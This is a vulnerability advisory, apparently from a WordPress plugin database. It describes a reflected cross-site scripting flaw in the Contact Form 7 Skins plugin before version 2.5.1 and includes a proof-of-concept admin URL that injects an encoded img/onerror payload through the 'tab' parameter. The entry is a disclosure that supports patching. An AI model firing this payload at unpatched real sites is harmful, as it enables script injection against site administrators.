WordPress Plugin Vulnerabilities

Contact Form 7 Skins < 2.5.1 - Reflected Cross-Site Scripting (XSS)

Description

The plugin does not sanitise and escape the tab parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting

Proof of Concept

https://example.com/wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%281%29%3E

(requires the Contact Form 7 plugin to be installed)

Affects Plugins

Fixed in 2.5.1

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-01-03 (about 2 years ago)
Added
2022-01-03 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)

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